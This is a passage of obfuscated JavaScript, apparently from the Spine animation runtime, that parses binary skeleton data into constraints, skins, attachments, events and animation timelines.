_0x46cfe5['readFloat'](), _0x3f344f['mixScaleY'] = _0x46cfe5['readFloat'](), _0x3f344f['mixShearY'] = _0x46cfe5['readFloat'](), _0x22a4d3['transformConstraints']['push'](_0x3f344f); } _0x38bea2 = _0x46cfe5['readInt'](!0x0); for (let _0x7a493, _0x33a5a1 = 0x0; _0x33a5a1 < _0x38bea2; _0x33a5a1++) { let _0x560596 = _0x46cfe5['readString'](); if (!_0x560596) throw new Error('Path\x20constraint\x20data\x20name\x20must\x20not\x20be\x20null.'); let _0x20e33f = new _0x45bd9c(_0x560596); _0x20e33f['order'] = _0x46cfe5['readInt'](!0x0), _0x20e33f['skinRequired'] = _0x46cfe5['readBoolean'](), _0x7a493 = _0x46cfe5['readInt'](!0x0); for (let _0x79a599 = 0x0; _0x79a599 < _0x7a493; _0x79a599++)_0x20e33f['bones']['push'](_0x22a4d3['bones'][_0x46cfe5['readInt'](!0x0)]); _0x20e33f['target'] = _0x22a4d3['slots'][_0x46cfe5['readInt'](!0x0)], _0x20e33f['positionMode'] = _0x46cfe5['readInt'](!0x0), _0x20e33f['spacingMode'] = _0x46cfe5['readInt'](!0x0), _0x20e33f['rotateMode'] = _0x46cfe5['readInt'](!0x0), _0x20e33f['offsetRotation'] = _0x46cfe5['readFloat'](), _0x20e33f['position'] = _0x46cfe5['readFloat'](), 0x0 == _0x20e33f['positionMode'] && (_0x20e33f['position'] *= _0x5ed0e6), _0x20e33f['spacing'] = _0x46cfe5['readFloat'](), 0x0 != _0x20e33f['spacingMode'] && 0x1 != _0x20e33f['spacingMode'] || (_0x20e33f['spacing'] *= _0x5ed0e6), _0x20e33f['mixRotate'] = _0x46cfe5['readFloat'](), _0x20e33f['mixX'] = _0x46cfe5['readFloat'](), _0x20e33f['mixY'] = _0x46cfe5['readFloat'](), _0x22a4d3['pathConstraints']['push'](_0x20e33f); } let _0x17514b = this['readSkin'](_0x46cfe5, _0x22a4d3, !0x0, _0x1190d8); _0x17514b && (_0x22a4d3['defaultSkin'] = _0x17514b, _0x22a4d3['skins']['push'](_0x17514b)); { let _0x5919c5 = _0x22a4d3['skins']['length']; for (_0x5bda80['setArraySize'](_0x22a4d3['skins'], _0x38bea2 = _0x5919c5 + _0x46cfe5['readInt'](!0x0)); _0x5919c5 < _0x38bea2; _0x5919c5++) { let _0xed32ec = this['readSkin'](_0x46cfe5, _0x22a4d3, !0x1, _0x1190d8); if (!_0xed32ec) throw new Error('readSkin()\x20should\x20not\x20have\x20returned\x20null.'); _0x22a4d3['skins'][_0x5919c5] = _0xed32ec; } } _0x38bea2 = this['linkedMeshes']['length']; for (let _0x5f582b = 0x0; _0x5f582b < _0x38bea2; _0x5f582b++) { let _0x4a48fc = this['linkedMeshes'][_0x5f582b], _0x2a1a5e = _0x4a48fc['skin'] ? _0x22a4d3['findSkin'](_0x4a48fc['skin']) : _0x22a4d3['defaultSkin']; if (!_0x2a1a5e) throw new Error('Not\x20skin\x20found\x20for\x20linked\x20mesh.'); if (!_0x4a48fc['parent']) throw new Error('Linked\x20mesh\x20parent\x20must\x20not\x20be\x20null'); let _0x336174 = _0x2a1a5e['getAttachment'](_0x4a48fc['slotIndex'], _0x4a48fc['parent']); if (!_0x336174) throw new Error('Parent\x20mesh\x20not\x20found:\x20' + _0x4a48fc['parent']); _0x4a48fc['mesh']['timelineAttachment'] = _0x4a48fc['inheritTimeline'] ? _0x336174 : _0x4a48fc['mesh'], _0x4a48fc['mesh']['setParentMesh'](_0x336174), null != _0x4a48fc['mesh']['region'] && _0x4a48fc['mesh']['updateRegion'](); } this['linkedMeshes']['length'] = 0x0, _0x38bea2 = _0x46cfe5['readInt'](!0x0); for (let _0x1e4f9c = 0x0; _0x1e4f9c < _0x38bea2; _0x1e4f9c++) { let _0x5e20bf = _0x46cfe5['readStringRef'](); if (!_0x5e20bf) throw new Error(); let _0x1f55a3 = new _0x39c213(_0x5e20bf); _0x1f55a3['intValue'] = _0x46cfe5['readInt'](!0x1), _0x1f55a3['floatValue'] = _0x46cfe5['readFloat'](), _0x1f55a3['stringValue'] = _0x46cfe5['readString'](), _0x1f55a3['audioPath'] = _0x46cfe5['readString'](), _0x1f55a3['audioPath'] && (_0x1f55a3['volume'] = _0x46cfe5['readFloat'](), _0x1f55a3['balance'] = _0x46cfe5['readFloat']()), _0x22a4d3['events']['push'](_0x1f55a3); } _0x38bea2 = _0x46cfe5['readInt'](!0x0); for (let _0x21d327 = 0x0; _0x21d327 < _0x38bea2; _0x21d327++) { let _0x1eabbb = _0x46cfe5['readString'](); if (!_0x1eabbb) throw new Error('Animatio\x20name\x20must\x20not\x20be\x20null.'); _0x22a4d3['animations']['push'](this['readAnimation'](_0x46cfe5, _0x1eabbb, _0x22a4d3)); } return _0x22a4d3; } ['readSkin'](_0x5537d1, _0x58c108, _0x18e6b8, _0x382cc7) { let _0x91c3cc = null, _0x3606c5 = 0x0; if (_0x18e6b8) { if (_0x3606c5 = _0x5537d1['readInt'](!0x0), 0x0 == _0x3606c5) return null; _0x91c3cc = new _0x44f177('default'); } else { let _0x562409 = _0x5537d1['readStringRef'](); if (!_0x562409) throw new Error('Skin\x20name\x20must\x20not\x20be\x20null.'); _0x91c3cc = new _0x44f177(_0x562409), _0x91c3cc['bones']['length'] = _0x5537d1['readInt'](!0x0); for (let _0x3e74d8 = 0x0, _0x1896ad = _0x91c3cc['bones']['length']; _0x3e74d8 < _0x1896ad; _0x3e74d8++)_0x91c3cc['bones'][_0x3e74d8] = _0x58c108['bones'][_0x5537d1['readInt'](!0x0)]; for (let _0x550fbb = 0x0, _0x1f1fb5 = _0x5537d1['readInt'](!0x0); _0x550fbb < _0x1f1fb5; _0x550fbb++)_0x91c3cc['constraints']['push'](_0x58c108['ikConstraints'][_0x5537d1['readInt'](!0x0)]); for (let _0x4636b5 = 0x0, _0x12f718 = _0x5537d1['readInt'](!0x0); _0x4636b5 < _0x12f718; _0x4636b5++)_0x91c3cc['constraints']['push'](_0x58c108['transformConstraints'][_0x5537d1['readInt'](!0x0)]); for (let _0x56f990 = 0x0, _0x5edfdb = _0x5537d1['readInt'](!0x0); _0x56f990 < _0x5edfdb; _0x56f990++)_0x91c3cc['constraints']['push'](_0x58c108['pathConstraints'][_0x5537d1['readInt'](!0x0)]); _0x3606c5 = _0x5537d1['readInt'](!0x0); } for (let _0x24c964 = 0x0; _0x24c964 < _0x3606c5; _0x24c964++) { let _0x16ffc3 = _0x5537d1['readInt'](!0x0); for (let _0x41e9d1 = 0x0, _0x178c21 = _0x5537d1['readInt'](!0x0); _0x41e9d1 < _0x178c21; _0x41e9d1++) { let _0x340329 = _0x5537d1['readStringRef'](); if (!_0x340329) throw new Error('Attachment\x20name\x20must\x20not\x20be\x20null'); let _0x36fd4f = this['readAttachment'](_0x5537d1, _0x58c108, _0x91c3cc, _0x16ffc3, _0x340329, _0x382cc7); _0x36fd4f && _0x91c3cc['setAttachment'](_0x16ffc3, _0x340329, _0x36fd4f); } } return _0x91c3cc; } ['readAttachment'](_0x40c822, _0x4f49b1, _0x28ec9a, _0x58abf9, _0x45f086, _0x5055e9) { let _0x4cb3dc = this['scale'], _0x145d78 = _0x40c822['readStringRef'](); switch (_0x145d78 || (_0x145d78 = _0x45f086), _0x40c822['readByte']()) { case _0x1da252['Region']: { let _0x493574 = _0x40c822['readStringRef'](), _0x397d2d = _0x40c822['readFloat'](), _0x102dab = _0x40c822['readFloat'](), _0x1419bf = _0x40c822['readFloat'](), _0x1d0a26 = _0x40c822['readFloat'](), _0x3d85ca = _0x40c822['readFloat'](), _0x530e6c = _0x40c822['readFloat'](), _0x7b2b64 = _0x40c822['readFloat'](), _0x3a38f6 = _0x40c822['readInt32'](), _0x2da74e = this['readSequence'](_0x40c822); _0x493574 || (_0x493574 = _0x145d78); let _0x578391 = this['attachmentLoader']['newRegionAttachment'](_0x28ec9a, _0x145d78, _0x493574, _0x2da74e); return _0x578391 ? (_0x578391['path'] = _0x493574, _0x578391['x'] = _0x102dab * _0x4cb3dc, _0x578391['y'] = _0x1419bf * _0x4cb3dc, _0x578391['scaleX'] = _0x1d0a26, _0x578391['scaleY'] = _0x3d85ca, _0x578391['rotation'] = _0x397d2d, _0x578391['width'] = _0x530e6c * _0x4cb3dc, _0x578391['height'] = _0x7b2b64 * _0x4cb3dc, _0x1acaf1['rgba8888ToColor'](_0x578391['color'], _0x3a38f6), _0x578391['sequence'] = _0x2da74e, null == _0x2da74e && _0x578391['updateRegion'](), _0x578391) : null; } case _0x1da252['BoundingBox']: { let _0x582676 = _0x40c822['readInt'](!0x0), _0x3b8dd6 = this['readVertices'](_0x40c822, _0x582676), _0x2b1000 = _0x5055e9 ? _0x40c822['readInt32']() : 0x0, _0x3d090e = this['attachmentLoader']['newBoundingBoxAttachment'](_0x28ec9a, _0x145d78); return _0x3d090e ? (_0x3d090e['worldVerticesLength'] = _0x582676 << 0x1, _0x3d090e['vertices'] = _0x3b8dd6['vertices'], _0x3d090e['bones'] = _0x3b8dd6['bones'], _0x5055e9 && _0x1acaf1['rgba8888ToColor'](_0x3d090e['color'], _0x2b1000), _0x3d090e) : null; } case _0x1da252['Mesh']: { let _0x18a205 = _0x40c822['readStringRef'](), _0x20d9d2 = _0x40c822['readInt32'](), _0xb28d08 = _0x40c822['readInt'](!0x0), _0x35f55a = this['readFloatArray'](_0x40c822, _0xb28d08 << 0x1, 0x1), _0x212ada = this['readShortArray'](_0x40c822), _0x5933aa = this['readVertices'](_0x40c822, _0xb28d08), _0x1ea8af = _0x40c822['readInt'](!0x0), _0xb0d45b = this['readSequence'](_0x40c822), _0xa64917 = [], _0x3e62ce = 0x0, _0x32c586 = 0x0; _0x5055e9 && (_0xa64917 = this['readShortArray'](_0x40c822), _0x3e62ce = _0x40c822['readFloat'](), _0x32c586 = _0x40c822['readFloat']()), _0x18a205 || (_0x18a205 = _0x145d78); let _0x377cf7 = this['attachmentLoader']['newMeshAttachment'](_0x28ec9a, _0x145d78, _0x18a205, _0xb0d45b); return _0x377cf7 ? (_0x377cf7['path'] = _0x18a205, _0x1acaf1['rgba8888ToColor'](_0x377cf7['color'], _0x20d9d2), _0x377cf7['bones'] = _0x5933aa['bones'], _0x377cf7['vertices'] = _0x5933aa['vertices'], _0x377cf7['worldVerticesLength'] = _0xb28d08 << 0x1, _0x377cf7['triangles'] = _0x212ada, _0x377cf7['regionUVs'] = _0x35f55a, null == _0xb0d45b && _0x377cf7['updateRegion'](), _0x377cf7['hullLength'] = _0x1ea8af << 0x1, _0x377cf7['sequence'] = _0xb0d45b, _0x5055e9 && (_0x377cf7['edges'] = _0xa64917, _0x377cf7['width'] = _0x3e62ce * _0x4cb3dc, _0x377cf7['height'] = _0x32c586 * _0x4cb3dc), _0x377cf7) : null; } case _0x1da252['LinkedMesh']: { let _0x3a240c = _0x40c822['readStringRef'](), _0x18d0ed = _0x40c822['readInt32'](), _0x283e7c = _0x40c822['readStringRef'](), _0x1312b1 = _0x40c822['readStringRef'](), _0x48cc33 = _0x40c822['readBoolean'](), _0x3ff13b = this['readSequence'](_0x40c822), _0x5be931 = 0x0, _0x129b28 = 0x0; _0x5055e9 && (_0x5be931 = _0x40c822['readFloat'](), _0x129b28 = _0x40c822['readFloat']()), _0x3a240c || (_0x3a240c = _0x145d78); let _0x53eae4 = this['attachmentLoader']['newMeshAttachment'](_0x28ec9a, _0x145d78, _0x3a240c, _0x3ff13b); return _0x53eae4 ? (_0x53eae4['path'] = _0x3a240c, _0x1acaf1['rgba8888ToColor'](_0x53eae4['color'], _0x18d0ed), _0x53eae4['sequence'] = _0x3ff13b, _0x5055e9 && (_0x53eae4['width'] = _0x5be931 * _0x4cb3dc, _0x53eae4['height'] = _0x129b28 * _0x4cb3dc), this['linkedMeshes']['push'](new _0x10dbf6(_0x53eae4, _0x283e7c, _0x58abf9, _0x1312b1, _0x48cc33)), _0x53eae4) : null; } case _0x1da252['Path']: { let _0x14707e = _0x40c822['readBoolean'](), _0x42aaf6 = _0x40c822['readBoolean'](), _0x466966 = _0x40c822['readInt'](!0x0), _0x4f945f = this['readVertices'](_0x40c822, _0x466966), _0x5c6075 = _0x5bda80['newArray'](_0x466966 / 0x3, 0x0); for (let _0x53d69b = 0x0, _0x1a8219 = _0x5c6075['length']; _0x53d69b < _0x1a8219; _0x53d69b++)_0x5c6075[_0x53d69b] = _0x40c822['readFloat']() * _0x4cb3dc; let _0x50f9e6 = _0x5055e9 ? _0x40c822['readInt32']() : 0x0, _0x19613a = this['attachmentLoader']['newPathAttachment'](_0x28ec9a, _0x145d78); return _0x19613a ? (_0x19613a['closed'] = _0x14707e, _0x19613a['constantSpeed'] = _0x42aaf6, _0x19613a['worldVerticesLength'] = _0x466966 << 0x1, _0x19613a['vertices'] = _0x4f945f['vertices'], _0x19613a['bones'] = _0x4f945f['bones'], _0x19613a['lengths'] = _0x5c6075, _0x5055e9 && _0x1acaf1['rgba8888ToColor'](_0x19613a['color'], _0x50f9e6), _0x19613a) : null; } case _0x1da252['Point']: { let _0x29ae3f = _0x40c822['readFloat'](), _0x38df93 = _0x40c822['readFloat'](), _0x1d8702 = _0x40c822['readFloat'](), _0x5cd3ab = _0x5055e9 ? _0x40c822['readInt32']() : 0x0, _0x12c4e3 = this['attachmentLoader']['newPointAttachment'](_0x28ec9a, _0x145d78); return _0x12c4e3 ? (_0x12c4e3['x'] = _0x38df93 * _0x4cb3dc, _0x12c4e3['y'] = _0x1d8702 * _0x4cb3dc, _0x12c4e3['rotation'] = _0x29ae3f, _0x5055e9 && _0x1acaf1['rgba8888ToColor'](_0x12c4e3['color'], _0x5cd3ab), _0x12c4e3) : null; } case _0x1da252['Clipping']: { let _0x16edc3 = _0x40c822['readInt'](!0x0), _0x52fd70 = _0x40c822['readInt'](!0x0), _0x2e54b4 = this['readVertices'](_0x40c822, _0x52fd70), _0x160732 = _0x5055e9 ? _0x40c822['readInt32']() : 0x0, _0x32dda8 = this['attachmentLoader']['newClippingAttachment'](_0x28ec9a, _0x145d78); return _0x32dda8 ? (_0x32dda8['endSlot'] = _0x4f49b1['slots'][_0x16edc3], _0x32dda8['worldVerticesLength'] = _0x52fd70 << 0x1, _0x32dda8['vertices'] = _0x2e54b4['vertices'], _0x32dda8['bones'] = _0x2e54b4['bones'], _0x5055e9 && _0x1acaf1['rgba8888ToColor'](_0x32dda8['color'], _0x160732), _0x32dda8) : null; } }return null; } ['readSequence'](_0x3fac83) { if (!_0x3fac83['readBoolean']()) return null; let _0x42f4b1 = new _0x34c537(_0x3fac83['readInt'](!0x0)); return _0x42f4b1['start'] = _0x3fac83['readInt'](!0x0), _0x42f4b1['digits'] = _0x3fac83['readInt'](!0x0), _0x42f4b1['setupIndex'] = _0x3fac83['readInt'](!0x0), _0x42f4b1; } ['readVertices'](_0x43de00, _0x459648) { let _0x4db128 = this['scale'], _0x45f908 = _0x459648 << 0x1, _0x2d9b5f = new _0x33f2d5(); if (!_0x43de00['readBoolean']()) return _0x2d9b5f['vertices'] = this['readFloatArray'](_0x43de00, _0x45f908, _0x4db128), _0x2d9b5f; let _0x331054 = new Array(), _0x40d0ce = new Array(); for (let _0x3a84f6 = 0x0; _0x3a84f6 < _0x459648; _0x3a84f6++) { let _0x10da35 = _0x43de00['readInt'](!0x0); _0x40d0ce['push'](_0x10da35); for (let _0x350361 = 0x0; _0x350361 < _0x10da35; _0x350361++)_0x40d0ce['push'](_0x43de00['readInt'](!0x0)), _0x331054['push'](_0x43de00['readFloat']() * _0x4db128), _0x331054['push'](_0x43de00['readFloat']() * _0x4db128), _0x331054['push'](_0x43de00['readFloat']()); } return _0x2d9b5f['vertices'] = _0x5bda80['toFloatArray'](_0x331054), _0x2d9b5f['bones'] = _0x40d0ce, _0x2d9b5f; } ['readFloatArray'](_0x3f0a21, _0x1e00e1, _0x866097) { let _0x346edb = new Array(_0x1e00e1); if (0x1 == _0x866097) { for (let _0x4ec9be = 0x0; _0x4ec9be < _0x1e00e1; _0x4ec9be++)_0x346edb[_0x4ec9be] = _0x3f0a21['readFloat'](); } else { for (let _0x26104b = 0x0; _0x26104b < _0x1e00e1; _0x26104b++)_0x346edb[_0x26104b] = _0x3f0a21['readFloat']() * _0x866097; } return _0x346edb; } ['readShortArray'](_0x1a0ff4) { let _0x52f028 = _0x1a0ff4['readInt'](!0x0), _0x3786fc = new Array(_0x52f028); for (let _0x4ccdd2 = 0x0; _0x4ccdd2 < _0x52f028; _0x4ccdd2++)_0x3786fc[_0x4ccdd2] = _0x1a0ff4['readShort'](); return _0x3786fc; } ['readAnimation'](_0x6ad8cb, _0xd772e4, _0x351d89) { _0x6ad8cb['readInt'](!0x0); let _0x4ef33d = new Array(), _0x562223 = this['scale']; new _0x1acaf1(), new _0x1acaf1(); for (let _0x31cc7b = 0x0, _0x4acbed = _0x6ad8cb['readInt'](!0x0); _0x31cc7b < _0x4acbed; _0x31cc7b++) { let _0x28ec20 = _0x6ad8cb['readInt'](!0x0); for (let _0x18b9b = 0x0, _0x1c09a3 = _0x6ad8cb['readInt'](!0x0); _0x18b9b < _0x1c09a3; _0x18b9b++) { let _0x1ffbec = _0x6ad8cb['readByte'](), _0x252778 = _0x6ad8cb['readInt'](!0x0), _0x521f3f = _0x252778 - 0x1; switch (_0x1ffbec) { case _0xbd8676: { let _0x4a3b8c = new _0xc3d6e4(_0x252778, _0x28ec20); for (let _0x3da4b2 = 0x0; _0x3da4b2 < _0x252778; _0x3da4b2++)_0x4a3b8c['setFrame'](_0x3da4b2, _0x6ad8cb['readFloat'](), _0x6ad8cb['readStringRef']()); _0x4ef33d['push'](_0x4a3b8c); break; } case _0x3af1ea: { let _0x1614a2 = _0x6ad8cb['readInt'](!0x0), _0xfcc906 = new _0x185cd5(_0x252778, _0x1614a2, _0x28ec20), _0x6f19c8 = _0x6ad8cb['readFloat'](), _0x5cc267 = _0x6ad8cb['readUnsignedByte']() / 0xff, _0x4e4dfe = _0x6ad8cb['readUnsignedByte']() / 0xff, _0x52060d = _0x6ad8cb['readUnsignedByte']() / 0xff, _0x4c3578 = _0x6ad8cb['readUnsignedByte']() / 0xff; for (let _0x86008f = 0x0, _0x5e835e = 0x0; _0xfcc906['setFrame'](_0x86008f, _0x6f19c8, _0x5cc267, _0x4e4dfe, _0x52060d, _0x4c3578), _0x86008f != _0x521f3f; _0x86008f++) { let _0x5eabf2 = _0x6ad8cb['readFloat'](), _0x221960 = _0x6ad8cb['readUnsignedByte']() / 0xff, _0x1b59c5 = _0x6ad8cb['readUnsignedByte']() / 0xff, _0x12414b = _0x6ad8cb['readUnsignedByte']() / 0xff, _0x1e6877 = _0x6ad8cb['readUnsignedByte']() / 0xff; switch (_0x6ad8cb['readByte']()) { case _0x24695a: _0xfcc906['setStepped'](_0x86008f); break; case _0x154632: _0xe5d54b(_0x6ad8cb, _0xfcc906, _0x5e835e++, _0x86008f, 0x0, _0x6f19c8, _0x5eabf2, _0x5cc267, _0x221960, 0x1), _0xe5d54b(_0x6ad8cb, _0xfcc906, _0x5e835e++, _0x86008f, 0x1, _0x6f19c8, _0x5eabf2, _0x4e4dfe, _0x1b59c5, 0x1), _0xe5d54b(_0x6ad8cb, _0xfcc906, _0x5e835e++, _0x86008f, 0x2, _0x6f19c8, _0x5eabf2, _0x52060d, _0x12414b, 0x1), _0xe5d54b(_0x6ad8cb, _0xfcc906, _0x5e835e++, _0x86008f, 0x3, _0x6f19c8, _0x5eabf2, _0x4c3578, _0x1e6877, 0x1); }_0x6f19c8 = _0x5eabf2, _0x5cc267 = _0x221960, _0x4e4dfe = _0x1b59c5, _0x52060d = _0x12414b, _0x4c3578 = _0x1e6877; } _0x4ef33d['push'](_0xfcc906); break; } case _0x154372: { let _0x5db92a = _0x6ad8cb['readInt'](!0x0), _0x246f8f = new _0x21e97f(_0x252778, _0x5db92a, _0x28ec20), _0x10cb6e = _0x6ad8cb['readFloat'](), _0x44484b = _0x6ad8cb['readUnsignedByte']() / 0xff, _0x5a00e2 = _0x6ad8cb['readUnsignedByte']() / 0xff, _0x30598a = _0x6ad8cb['readUnsignedByte']() / 0xff; for (let _0xcee122 = 0x0, _0x12ea2d = 0x0; _0x246f8f['setFrame'](_0xcee122, _0x10cb6e, _0x44484b, _0x5a00e2, _0x30598a), _0xcee122 != _0x521f3f; _0xcee122++) { let _0x2b20d1 = _0x6ad8cb['readFloat'](), _0x3eed08 = _0x6ad8cb['readUnsignedByte']() / 0xff, _0x40da36 = _0x6ad8cb['readUnsignedByte']() / 0xff, _0x3474f6 = _0x6ad8cb['readUnsignedByte']() / 0xff; switch (_0x6ad8cb['readByte']()) { case _0x24695a: _0x246f8f['setStepped'](_0xcee122); break; case _0x154632: _0xe5d54b(_0x6ad8cb, _0x246f8f, _0x12ea2d++, _0xcee122, 0x0, _0x10cb6e, _0x2b20d1, _0x44484b, _0x3eed08, 0x1), _0xe5d54b(_0x6ad8cb, _0x246f8f, _0x12ea2d++, _0xcee122, 0x1, _0x10cb6e, _0x2b20d1, _0x5a00e2, _0x40da36, 0x1), _0xe5d54b(_0x6ad8cb, _0x246f8f, _0x12ea2d++, _0xcee122, 0x2, _0x10cb6e, _0x2b20d1, _0x30598a, _0x3474f6, 0x1); }_0x10cb6e = _0x2b20d1, _0x44484b = _0x3eed08, _0x5a00e2 = _0x40da36, _0x30598a = _0x3474f6; } _0x4ef33d['push'](_0x246f8f); break; } case _0x58a27a: { let _0x48c60e = _0x6ad8cb['readInt'](!0x0), _0x157502 = new _0x585b70(_0x252778, _0x48c60e, _0x28ec20), _0x243328 = _0x6ad8cb['readFloat'](), _0x3bfae2 = _0x6ad8cb['readUnsignedByte']() / 0xff, _0x6967bc = _0x6ad8cb['readUnsignedByte']() / 0xff, _0x2844b4 = _0x6ad8cb['readUnsignedByte']() / 0xff, _0x57343d = _0x6ad8cb['readUnsignedByte']() / 0xff, _0x4b1d09 = _0x6ad8cb['readUnsignedByte']() / 0xff, _0x18e360 = _0x6ad8cb['readUnsignedByte']() / 0xff, _0x55ed69 = _0x6ad8cb['readUnsignedByte']() / 0xff; for (let _0x3ed820 = 0x0, _0x150ba9 = 0x0; _0x157502['setFrame'](_0x3ed820, _0x243328, _0x3bfae2, _0x6967bc, _0x2844b4, _0x57343d, _0x4b1d09, _0x18e360, _0x55ed69), _0x3ed820 != _0x521f3f; _0x3ed820++) { let _0x1d2a38 = _0x6ad8cb['readFloat'](), _0x17fcf5 = _0x6ad8cb['readUnsignedByte']() / 0xff, _0x16ff6b = _0x6ad8cb['readUnsignedByte']() / 0xff, _0x3adc25 = _0x6ad8cb['readUnsignedByte']() / 0xff, _0x4e545c = _0x6ad8cb['readUnsignedByte']() / 0xff, _0xffd212 = _0x6ad8cb['readUnsignedByte']() / 0xff, _0x4930ad = _0x6ad8cb['readUnsignedByte']() / 0xff, _0x5d00c2 = _0x6ad8cb['readUnsignedByte']() / 0xff; switch (_0x6ad8cb['readByte']()) { case _0x24695a: _0x157502['setStepped'](_0x3ed820); break; case _0x154632: _0xe5d54b(_0x6ad8cb, _0x157502, _0x150ba9++, _0x3ed820, 0x0, _0x243328, _0x1d2a38, _0x3bfae2, _0x17fcf5, 0x1), _0xe5d54b(_0x6ad8cb, _0x157502, _0x150ba9++, _0x3ed820, 0x1, _0x243328, _0x1d2a38, _0x6967bc, _0x16ff6b, 0x1), _0xe5d54b(_0x6ad8cb, _0x157502, _0x150ba9++, _0x3ed820, 0x2, _0x243328, _0x1d2a38, _0x2844b4, _0x3adc25, 0x1), _0xe5d54b(_0x6ad8cb, _0x157502, _0x150ba9++, _0x3ed820, 0x3, _0x243328, _0x1d2a38, _0x57343d, _0x4e545c, 0x1), _0xe5d54b(_0x6ad8cb, _0x157502, _0x150ba9++, _0x3ed820, 0x4, _0x243328, _0x1d2a38, _0x4b1d09, _0xffd212, 0x1), _0xe5d54b(_0x6ad8cb, _0x157502, _0x150ba9++, _0x3ed820, 0x5, _0x243328, _0x1d2a38, _0x18e360, _0x4930ad, 0x1), _0xe5d54b(_0x6ad8cb, _0x157502, _0x150ba9++, _0x3ed820, 0x6, _0x243328, _0x1d2a38, _0x55ed69, _0x5d00c2, 0x1); }_0x243328 = _0x1d2a38, _0x3bfae2 = _0x17fcf5, _0x6967bc = _0x16ff6b, _0x2844b4 = _0x3adc25, _0x57343d = _0x4e545c, _0x4b1d09 = _0xffd212, _0x18e360 = _0x4930ad, _0x55ed69 = _0x5d00c2; } _0x4ef33d['push'](_0x157502); break; } case _0x4c27fe: { let _0x1c8070 = _0x6ad8cb['readInt'](!0x0), _0xd08218 = new _0x3aedbe(_0x252778, _0x1c8070, _0x28ec20), _0x30f161 = _0x6ad8cb['readFloat'](), _0x1568ec = _0x6ad8cb['readUnsignedByte']() / 0xff, _0x108f67 = _0x6ad8cb['readUnsignedByte']() / 0xff, _0x1f48c6 = _0x6ad8cb['readUnsignedByte']() / 0xff, _0xe169d8 = _0x6ad8cb['readUnsignedByte']() / 0xff, _0x95e50b = _0x6ad8cb['readUnsignedByte']() / 0xff, _0x1ce966 = _0x6ad8cb['readUnsignedByte']() / 0xff; for (let _0xa29b68 = 0x0, _0x145cfb = 0x0; _0xd08218['setFrame'](_0xa29b68, _0x30f161, _0x1568ec, _0x108f67, _0x1f48c6, _0xe169d8, _0x95e50b, _0x1ce966), _0xa29b68 != _0x521f3f; _0xa29b68++) { let _0x250a46 = _0x6ad8cb['readFloat'](), _0x3dc74b = _0x6ad8cb['readUnsignedByte']() / 0xff, _0x3fca58 = _0x6ad8cb['readUnsignedByte']() / 0xff, _0x5c7322 = _0x6ad8cb['readUnsignedByte']() / 0xff, _0x159e76 = _0x6ad8cb['readUnsignedByte']() / 0xff, _0x1805da = _0x6ad8cb['readUnsignedByte']() / 0xff, _0x202e63 = _0x6ad8cb['readUnsignedByte']() / 0xff; switch (_0x6ad8cb['readByte']()) { case _0x24695a: _0xd08218['setStepped'](_0xa29b68); break; case _0x154632: _0xe5d54b(_0x6ad8cb, _0xd08218, _0x145cfb++, _0xa29b68, 0x0, _0x30f161, _0x250a46, _0x1568ec, _0x3dc74b, 0x1), _0xe5d54b(_0x6ad8cb, _0xd08218, _0x145cfb++, _0xa29b68, 0x1, _0x30f161, _0x250a46, _0x108f67, _0x3fca58, 0x1), _0xe5d54b(_0x6ad8cb, _0xd08218, _0x145cfb++, _0xa29b68, 0x2, _0x30f161, _0x250a46, _0x1f48c6, _0x5c7322, 0x1), _0xe5d54b(_0x6ad8cb, _0xd08218, _0x145cfb++, _0xa29b68, 0x3, _0x30f161, _0x250a46, _0xe169d8, _0x159e76, 0x1), _0xe5d54b(_0x6ad8cb, _0xd08218, _0x145cfb++, _0xa29b68, 0x4, _0x30f161, _0x250a46, _0x95e50b, _0x1805da, 0x1), _0xe5d54b(_0x6ad8cb, _0xd08218, _0x145cfb++, _0xa29b68, 0x5, _0x30f161, _0x250a46, _0x1ce966, _0x202e63, 0x1); }_0x30f161 = _0x250a46, _0x1568ec = _0x3dc74b, _0x108f67 = _0x3fca58, _0x1f48c6 = _0x5c7322, _0xe169d8 = _0x159e76, _0x95e50b = _0x1805da, _0x1ce966 = _0x202e63; } _0x4ef33d['push'](_0xd08218); break; } case _0x1bded7: { let _0x25592b = new _0x41704c(_0x252778, _0x6ad8cb['readInt'](!0x0), _0x28ec20), _0x165042 = _0x6ad8cb['readFloat'](), _0x35f47 = _0x6ad8cb['readUnsignedByte']() / 0xff; for (let _0xe62d88 = 0x0, _0x51080 = 0x0; _0x25592b['setFrame'](_0xe62d88, _0x165042, _0x35f47), _0xe62d88 != _0x521f3f; _0xe62d88++) { let _0x28555a = _0x6ad8cb['readFloat'](), _0x3e8ed7 = _0x6ad8cb['readUnsignedByte']() / 0xff; switch (_0x6ad8cb['readByte']()) { case _0x24695a: _0x25592b['setStepped'](_0xe62d88); break; case _0x154632: _0xe5d54b(_0x6ad8cb, _0x25592b, _0x51080++, _0xe62d88, 0x0, _0x165042, _0x28555a, _0x35f47, _0x3e8ed7, 0x1); }_0x165042 = _0x28555a, _0x35f47 = _0x3e8ed7; } _0x4ef33d['push'](_0x25592b); } } } } for (let _0xca781b = 0x0, _0x42341f = _0x6ad8cb['readInt'](!0x0); _0xca781b < _0x42341f; _0xca781b++) { let _0x45d2d3 = _0x6ad8cb['readInt'](!0x0); for (let _0x1f2bfe = 0x0, _0x209be7 = _0x6ad8cb['readInt'](!0x0); _0x1f2bfe < _0x209be7; _0x1f2bfe++) { let _0x40c244 = _0x6ad8cb['readByte'](), _0x2c7145 = _0x6ad8cb['readInt'](!0x0), _0x33d7ee = _0x6ad8cb['readInt'](!0x0); switch (_0x40c244) { case _0xb2e30d: _0x4ef33d['push'](_0x4e736f(_0x6ad8cb, new _0x96df89(_0x2c7145, _0x33d7ee, _0x45d2d3), 0x1)); break; case _0x78764c: _0x4ef33d['push'](_0x3677e9(_0x6ad8cb, new _0x6b1dcb(_0x2c7145, _0x33d7ee, _0x45d2d3), _0x562223)); break; case _0x3afb80: _0x4ef33d['push'](_0x4e736f(_0x6ad8cb, new _0x2f9417(_0x2c7145, _0x33d7ee, _0x45d2d3), _0x562223)); break; case _0x306ced: _0x4ef33d['push'](_0x4e736f(_0x6ad8cb, new _0x1a76ca(_0x2c7145, _0x33d7ee, _0x45d2d3), _0x562223)); break; case _0xd4c9fc: _0x4ef33d['push'](_0x3677e9(_0x6ad8cb, new _0x72a919(_0x2c7145, _0x33d7ee, _0x45d2d3), 0x1)); break; case _0x55867d: _0x4ef33d['push'](_0x4e736f(_0x6ad8cb, new _0x5c2c0b(_0x2c7145, _0x33d7ee, _0x45d2d3), 0x1)); break; case _0x4a56a0: _0x4ef33d['push'](_0x4e736f(_0x6ad8cb, new _0x4dc808(_0x2c7145, _0x33d7ee, 